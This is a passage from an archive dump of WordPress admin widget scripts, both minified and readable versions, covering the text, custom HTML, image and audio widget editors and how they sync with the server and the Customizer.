i.currentFilename=t?t.replace(/\?.*$/,"").replace(/^.+\//,""):"",i.link_url=e.model.get("link_url"),i}});a.controlConstructors.media_image=t,a.modelConstructors.media_image=e}(wp.mediaWidgets,jQuery);widgets/text-widgets.min.js000064400000013335150276633110011773 0ustar00/*! This file is auto-generated */
wp.textWidgets=function(r){"use strict";var u={dismissedPointers:[],idBases:["text"]};return u.TextWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.$el.addClass("text-widget-fields"),n.$el.html(wp.template("widget-text-control-fields")),n.customHtmlWidgetPointer=n.$el.find(".wp-pointer.custom-html-widget-pointer"),n.customHtmlWidgetPointer.length&&(n.customHtmlWidgetPointer.find(".close").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),r("#"+n.fields.text.attr("id")+"-html").trigger("focus"),n.dismissPointers(["text_widget_custom_html"])}),n.customHtmlWidgetPointer.find(".add-widget").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),n.openAvailableWidgetsPanel()})),n.pasteHtmlPointer=n.$el.find(".wp-pointer.paste-html-pointer"),n.pasteHtmlPointer.length&&n.pasteHtmlPointer.find(".close").on("click",function(e){e.preventDefault(),n.pasteHtmlPointer.hide(),n.editor.focus(),n.dismissPointers(["text_widget_custom_html","text_widget_paste_html"])}),n.fields={title:n.$el.find(".title"),text:n.$el.find(".text")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},dismissPointers:function(e){_.each(e,function(e){wp.ajax.post("dismiss-wp-pointer",{pointer:e}),u.dismissedPointers.push(e)})},openAvailableWidgetsPanel:function(){var t;wp.customize.section.each(function(e){e.extended(wp.customize.Widgets.SidebarSection)&&e.expanded()&&(t=wp.customize.control("sidebars_widgets["+e.params.sidebarId+"]"))}),t&&setTimeout(function(){wp.customize.Widgets.availableWidgetsPanel.open(t),wp.customize.Widgets.availableWidgetsPanel.$search.val("HTML").trigger("keyup")})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),e=t.syncContainer.find(".sync-input.text"),t.fields.text.is(":visible")?t.fields.text.is(document.activeElement)||t.fields.text.val(e.val()):t.editor&&!t.editorFocused&&e.val()!==t.fields.text.val()&&t.editor.setContent(wp.oldEditor.autop(e.val()))},initializeEditor:function(){var d,e,o,t,s=this,a=1e3,l=!1,c=!1;e=s.fields.text,d=e.attr("id"),t=e.val(),o=function(){s.editor.isDirty()&&(wp.customize&&wp.customize.state&&(wp.customize.state("processing").set(wp.customize.state("processing").get()+1),_.delay(function(){wp.customize.state("processing").set(wp.customize.state("processing").get()-1)},300)),s.editor.isHidden()||s.editor.save()),c&&t!==e.val()&&(e.trigger("change"),c=!1,t=e.val())},s.syncContainer.closest(".widget").find("[name=savewidget]:first").on("click",function(){o()}),function e(){var t,i,n;if(document.getElementById(d))if(void 0===window.tinymce)wp.oldEditor.initialize(d,{quicktags:!0,mediaButtons:!0});else{if(tinymce.get(d)&&(l=tinymce.get(d).isHidden(),wp.oldEditor.remove(d)),r(document).one("wp-before-tinymce-init.text-widget-init",function(e,t){t.plugins&&!/\bwpview\b/.test(t.plugins)&&(t.plugins+=",wpview")}),wp.oldEditor.initialize(d,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0}),n=function(e){e.show(),e.find(".close").trigger("focus"),wp.a11y.speak(e.find("h3, p").map(function(){return r(this).text()}).get().join("\n\n"))},!(t=window.tinymce.get(d)))throw new Error("Failed to initialize editor");i=function(){r(t.getWin()).on("pagehide",function(){_.defer(e)}),l&&switchEditors.go(d,"html"),r("#"+d+"-html").on("click",function(){s.pasteHtmlPointer.hide(),-1===u.dismissedPointers.indexOf("text_widget_custom_html")&&n(s.customHtmlWidgetPointer)}),r("#"+d+"-tmce").on("click",function(){s.customHtmlWidgetPointer.hide()}),t.on("pastepreprocess",function(e){e=e.content,-1===u.dismissedPointers.indexOf("text_widget_paste_html")&&e&&/&lt;\w+.*?&gt;/.test(e)&&_.delay(function(){n(s.pasteHtmlPointer)},250)})},t.initialized?i():t.on("init",i),s.editorFocused=!1,t.on("focus",function(){s.editorFocused=!0}),t.on("paste",function(){t.setDirty(!0),o()}),t.on("NodeChange",function(){c=!0}),t.on("NodeChange",_.debounce(o,a)),t.on("blur hide",function(){s.editorFocused=!1,o()}),s.editor=t}}()}}),u.widgetControls={},u.handleWidgetAdded=function(e,t){var i,n,d,o=t.find("> .widget-inside > .form, > .widget-inside > form"),s=o.find("> .id_base").val();-1===u.idBases.indexOf(s)||(s=o.find(".widget-id").val(),u.widgetControls[s])||o.find(".visual").val()&&(o=r("<div></div>"),(d=t.find(".widget-content:first")).before(o),i=new u.TextWidgetControl({el:o,syncContainer:d}),u.widgetControls[s]=i,(n=function(){t.hasClass("open")?i.initializeEditor():setTimeout(n,50)})())},u.setupAccessibleMode=function(){var e,t=r(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==u.idBases.indexOf(e))&&t.find(".visual").val()&&(e=r("<div></div>"),(t=t.find("> .widget-inside")).before(e),new u.TextWidgetControl({el:e,syncContainer:t}).initializeEditor())},u.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==u.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=u.widgetControls[i])&&t.updateFields()},u.init=function(){var e=r(document);e.on("widget-added",u.handleWidgetAdded),e.on("widget-synced widget-updated",u.handleWidgetUpdated),r(function(){"widgets"===window.pagenow&&(r(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=r(this);u.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),u.setupAccessibleMode())})},u}(jQuery);widgets/media-image-widget.js000064400000012534150276633110012201 0ustar00/**
 * @output wp-admin/js/widgets/media-image-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component, $ ) {
	'use strict';

	var ImageWidgetModel, ImageWidgetControl;

	/**
	 * Image widget model.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_image
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	ImageWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Image widget control.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	ImageWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_image.prototype */{

		/**
		 * View events.
		 *
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-preview.populated': 'editMedia'
		} ),

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput;
			if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) {
				return;
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-image-preview' );
			previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) );
			previewContainer.addClass( 'populated' );

			linkInput = control.$el.find( '.link' );
			if ( ! linkInput.is( document.activeElement ) ) {
				fieldsContainer = control.$el.find( '.media-widget-fields' );
				fieldsTemplate = wp.template( 'wp-media-widget-image-fields' );
				fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) );
			}
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, updateCallback, defaultSync, metadata;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Needed or else none will not be selected if linkUrl is not also empty.
			if ( 'none' === metadata.link ) {
				metadata.linkUrl = '';
			}

			// Set up the media frame.
			mediaFrame = wp.media({
				frame: 'image',
				state: 'image-details',
				metadata: metadata
			});
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function() {
				var mediaProps, linkType;

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				mediaProps = mediaFrame.state().attributes.image.toJSON();
				linkType = mediaProps.link;
				mediaProps.link = mediaProps.linkUrl;
				control.selectedAttachment.set( mediaProps );
				control.displaySettings.set( 'link', linkType );

				control.model.set( _.extend(
					control.mapMediaToModelProps( mediaProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'image-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback );

			// Disable syncing of attachment changes back to server. See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function rejectedSync() {
				return $.Deferred().rejectWith( this ).promise();
			};
			mediaFrame.on( 'close', function onClose() {
				mediaFrame.detach();
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.open();
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return _.extend(
				component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ),
				{
					size: 'full',
					width: 0,
					height: 0
				}
			);
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * Prevent the image_title attribute from being initially set when adding an image from the media library.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this;
			return _.omit(
				component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ),
				'image_title'
			);
		},

		/**
		 * Map model props to preview template props.
		 *
		 * @return {Object} Preview template props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps, url;
			url = control.model.get( 'url' );
			previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control );
			previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : '';
			previewTemplateProps.link_url = control.model.get( 'link_url' );
			return previewTemplateProps;
		}
	});

	// Exports.
	component.controlConstructors.media_image = ImageWidgetControl;
	component.modelConstructors.media_image = ImageWidgetModel;

})( wp.mediaWidgets, jQuery );
widgets/media-audio-widget.min.js000064400000002647150276633110013006 0ustar00/*! This file is auto-generated */
!function(t){"use strict";var a=wp.media.view.MediaFrame.AudioDetails.extend({createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"audio",id:"add-audio-source",title:wp.media.view.l10n.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},renderPreview:function(){var e,t=this,d=t.model.get("attachment_id"),a=t.model.get("url");(d||a)&&(d=t.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-audio-preview"),d.html(e({model:{attachment_id:t.model.get("attachment_id"),src:a},error:t.model.get("error")})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new a({frame:"audio",state:"audio-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(t.model.defaults(),t.mapMediaToModelProps(e),{error:!1}))},d.state("audio-details").on("update",e),d.state("replace-audio").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_audio=d,t.modelConstructors.media_audio=e}(wp.mediaWidgets);widgets/custom-html-widgets.js000064400000036625150276633110012510 0ustar00/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
widgets/text-widgets.js000064400000043201150276633110011204 0ustar00/**
 * @output wp-admin/js/widgets/text-widgets.js
 */

/* global tinymce, switchEditors */
/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.textWidgets
 */
wp.textWidgets = ( function( $ ) {
	'use strict';

	var component = {
		dismissedPointers: [],
		idBases: [ 'text' ]
	};

	component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.textWidgets.TextWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'text-widget-fields' );
			control.$el.html( wp.template( 'widget-text-control-fields' ) );

			control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' );
			if ( control.customHtmlWidgetPointer.length ) {
				control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					$( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' );
					control.dismissPointers( [ 'text_widget_custom_html' ] );
				});
				control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					control.openAvailableWidgetsPanel();
				});
			}

			control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' );
			if ( control.pasteHtmlPointer.length ) {
				control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.pasteHtmlPointer.hide();
					control.editor.focus();
					control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] );
				});
			}

			control.fields = {
				title: control.$el.find( '.title' ),
				text: control.$el.find( '.text' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Dismiss pointers for Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param {Array} pointers Pointer IDs to dismiss.
		 * @return {void}
		 */
		dismissPointers: function dismissPointers( pointers ) {
			_.each( pointers, function( pointer ) {
				wp.ajax.post( 'dismiss-wp-pointer', {
					pointer: pointer
				});
				component.dismissedPointers.push( pointer );
			});
		},

		/**
		 * Open available widgets panel.
		 *
		 * @since 4.8.1
		 * @return {void}
		 */
		openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
			var sidebarControl;
			wp.customize.section.each( function( section ) {
				if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) {
					sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' );
				}
			});
			if ( ! sidebarControl ) {
				return;
			}
			setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
				wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
				wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			syncInput = control.syncContainer.find( '.sync-input.text' );
			if ( control.fields.text.is( ':visible' ) ) {
				if ( ! control.fields.text.is( document.activeElement ) ) {
					control.fields.text.val( syncInput.val() );
				}
